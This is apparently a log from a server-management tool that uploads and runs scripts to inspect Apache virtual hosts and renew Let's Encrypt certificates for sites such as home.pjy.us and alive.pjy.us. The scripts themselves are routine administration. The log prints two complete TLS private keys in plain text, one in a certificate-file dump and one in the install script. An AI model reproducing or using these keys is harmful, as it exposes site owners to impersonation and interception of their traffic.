AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:01:13: Establishing a connection
2025-12-31 06:01:14:
PUT: /tmp/pkp469291
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-31 06:01:15:
chmod 755 /tmp/pkp469291; /tmp/pkp469291; rm /tmp/pkp469291
2025-12-31 06:01:15:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:01:15:
PUT: /tmp/pkp141116
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_home_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:01:15:
chmod 755 /tmp/pkp141116; /tmp/pkp141116; rm /tmp/pkp141116
2025-12-31 06:01:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf 1248
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:01:15:
PUT: /tmp/pkp734586
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:01:16:
chmod 755 /tmp/pkp734586; /tmp/pkp734586; rm /tmp/pkp734586
2025-12-31 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5337
ca:cc:16:66:a6:6d:ed:f0:9b:32:be:1e:53:7a:64:1b
-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBu3OrS9ZqQDaKfEbrZu+BCzbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMjM3WhcNMjYwMzMxMDUwMjM2WjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALV1
/ME6u7fsdIVMHZNidYnJbOpnfQTGdJAXI1IqKXQBpla3QvmNFjoyVbU9tVzTAP9i
ONG5HR6MHZsX9d9pkl/r+VEkmwgoApwaJJtLgedsPZansJk/c6pr7aAoZhON5CVt
yW7emlkuhWx9T1T6uj8xzsUplGrEUqKbi5t98MryJVUgJ7kOjavOX9mDcqPyKan1
kaWbOKvILsx/fhBGzplWtCRCx+wpkH9DXGaTOf4XPZqGrwcnGP8SlHyfo0BTN2Sl
tOsiGmE/tY+vanR3Pu7jgbhLQ0NOC7nYyy5XXQadSOUlSzzU/eRMpTCv80s/KW1r
rg/EXmsJL6JguNITL9MCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUqgKoJ1sOfYO7+R4zUMdyGWPdOIUwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm3L+7E4AAAQDAEgwRgIhAKY7t1O665ti
EdRjb9FVH35yP1QnmTwknKX63B2xA4BXAiEA5veLTgGWsA8/gjT+YoC96lrsG4cN
oSMzkkXrYoXBHhAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZty/uymAAAEAwBHMEUCIQDUi0HJHTQdVt4RAg3yuKZmHjTR5G2+rlx7u4+GoElf
MwIgA+aZUrXPZ3ikWZ/XAsfvnAlKl0Nfxng17wyMXWz8rh8wDQYJKoZIhvcNAQEL
BQADggEBAL5rbZv+Gyo+4m+BLeQ6Xu632vp/6nfKpu9waRqSjg+Q0K5m4CpUo++l
h529TE/UCAubwbUoakIEmolbumXpLCXRfRJR4NpI5o3pmi08bjgnGVEtXpFVFK9P
vUfvTCCbLoA7CUgK9xczLTSFpBl4ymSR8zcIsd3h83ExNCKrLdI+3NOUlsU4oL9c
nB+VhgrVV81IjuXm1lWoC+sdzgK+0hh+igzLkC9qNuFq27eKkY89HQBqNRWSvc5B
NBc6JJdwusVY81k0BC+LyCFFbiOgyWvpEqBrjFf5GmlRIR+BrRm/KjtJBVHmk6/y
M3gbbuAL03BnCsBYk5Ig8irWL5KEWqo=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1dfzBOru37HSF
TB2TYnWJyWzqZ30ExnSQFyNSKil0AaZWt0L5jRY6MlW1PbVc0wD/YjjRuR0ejB2b
F/XfaZJf6/lRJJsIKAKcGiSbS4HnbD2Wp7CZP3Oqa+2gKGYTjeQlbclu3ppZLoVs
fU9U+ro/Mc7FKZRqxFKim4ubffDK8iVVICe5Do2rzl/Zg3Kj8imp9ZGlmziryC7M
f34QRs6ZVrQkQsfsKZB/Q1xmkzn+Fz2ahq8HJxj/EpR8n6NAUzdkpbTrIhphP7WP
r2p0dz7u44G4S0NDTgu52MsuV10GnUjlJUs81P3kTKUwr/NLPylta64PxF5rCS+i
YLjSEy/TAgMBAAECggEAGBWtcw4zHTHWs1yLbmT6mcuw15ndx5T5oqhXiU/MSbfw
VoEjdBDsWtQUeSZUHJpq/vqP9RIfUc8iHNQ8z6bpBS9CW6lCpH3+/q4fnrcSal98
+zKNp4F6/isuEnxaNA04s1kTi9Ii5WRd1Cz7qxlOQBYBzjx7FQKyvx9rE7vPCniI
aYN4GRCphHTzmBdtlJlZ9sMDSeliRBsPHQ3iQY3TdxXTarsIeepcpmoRmabu+a48
YHXo/Hj4Zt08k/4mlTFlqUuTagCpS+cjyLiq7QBvWbs4aUjIpM1nI6e57cikjfdj
bVC67FVqgAH/d3/9V/5vFFDWuT5X3V1XkKNgqTCA2QKBgQD6zc63jcif1PjwKwBs
koKXVdcjBoWehVpu7rhKcJqj5ydn7jsx/D/JlF+vbgh2IuyUXXMLNE7B0/zdghBI
SFH93C3I101vpKDfO7k07u9dVQYyzjsDR1RutwHE/2W0/B4e+mT2DjDVgMAQD7sx
C6vqqaPFYItxfXA5znr73nzdywKBgQC5OGdy4+0innm60O4SUzb135rRa97Xe7kZ
draMthTSEbFDGccoEzwA5uUlkerZ+DzVKFlrv10LsvIt5mxB5hFMSg3sLZwIvEis
oRXfLsJsLwe6WYZ1h8DQf2/04MZauWcuXqS4VMmoLYAXEFgL9QjciJlOBoaLfidC
FRZc6xO1GQKBgQCXFRl8uz1rAwl+6/iSbuOaNIynvcsKRjzG7Kk5toGBUMMNOZaR
MupeDTJi5H7WY41uhqjBzB3RZ1lBOpOCZ4Z0zYkLHp+4LEz4jOqxt2mcKJbWTiOA
gxyaoUXAnTVwhBvE/4OIMd47Dxcj1cYm8mf6sXxFbzYxBKZxPDAbv9gqZwKBgEi5
+fylvGX8feW5xdESNaFjdEHIrk5D+VEjSNiFYjV91vF2/LkinEvqXY1b9zAxBYnY
9wuUry85y1f0gwt5D8+5wC+9VOglLhACjDj+/j5GVS15m48oh7AWadpoK9pRtE8D
wH/UYv4TJ5lmxHulch5N0IxPiaLaHQYYi5hegXV5AoGAQlioRnaVJCxiX6aERuAY
lceH/tx2A03hL3zu+qWlCEc3puDBh54P89nWXa/LDoiltlMLkk5hP6I6NkdtcOrF
GKxNqumYSco+TPSfbZS27SxG1L6oU+ZI6KImAIK0wiFoBpPqWNsEtX8uKhf+3BCN
6MKUONT7NaV6evhDZuv1n8A=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-31 06:01:16: Establishing a connection
2025-12-31 06:01:17: Establishing a connection
2025-12-31 06:01:18:
PUT: /tmp/pkp641765
#!/bin/bash
if [ -d "/var/www/pjy_alive/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:01:19:
chmod 755 /tmp/pkp641765; /tmp/pkp641765; rm /tmp/pkp641765
2025-12-31 06:01:20:
1
2025-12-31 06:01:20: Establishing a connection
2025-12-31 06:01:21:
PUT: /tmp/pkp964603
#!/bin/bash
mkdir -p "/var/www/pjy_alive/.well-known/acme-challenge/"
cd "/var/www/pjy_alive/.well-known/acme-challenge/"
cat > Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU
2025-12-31 06:01:22:
chmod 755 /tmp/pkp964603; /tmp/pkp964603; rm /tmp/pkp964603
2025-12-31 06:01:22:
2025-12-31 06:01:28: Establishing a connection
2025-12-31 06:01:29:
PUT: /tmp/pkp334925
#!/bin/bash
mkdir -p "/var/www/pjy_alive/.well-known/acme-challenge/"
cd "/var/www/pjy_alive/.well-known/acme-challenge/"
rm Vco3SpANdq_GXiIyhE3-2k9iZ3oXFh19ygAJtw8cMIU
2025-12-31 06:01:30:
chmod 755 /tmp/pkp334925; /tmp/pkp334925; rm /tmp/pkp334925
2025-12-31 06:01:30:
2025-12-31 06:01:30: Establishing a connection
2025-12-31 06:01:31:
PUT: /tmp/pkp909643
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
53:42:be:58:01:c4:53:2f:61:65:1c:4a:71:2b:f8:7a
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 06:01:32:
chmod 755 /tmp/pkp909643; /tmp/pkp909643; rm /tmp/pkp909643
2025-12-31 06:01:32:
dir=/etc/ssl/certs
2025-12-31 06:01:33:
PUT: /tmp/pkp411602
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_alive_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 06:01:33:
chmod 755 /tmp/pkp411602; /tmp/pkp411602; rm /tmp/pkp411602
2025-12-31 06:01:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf 36
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
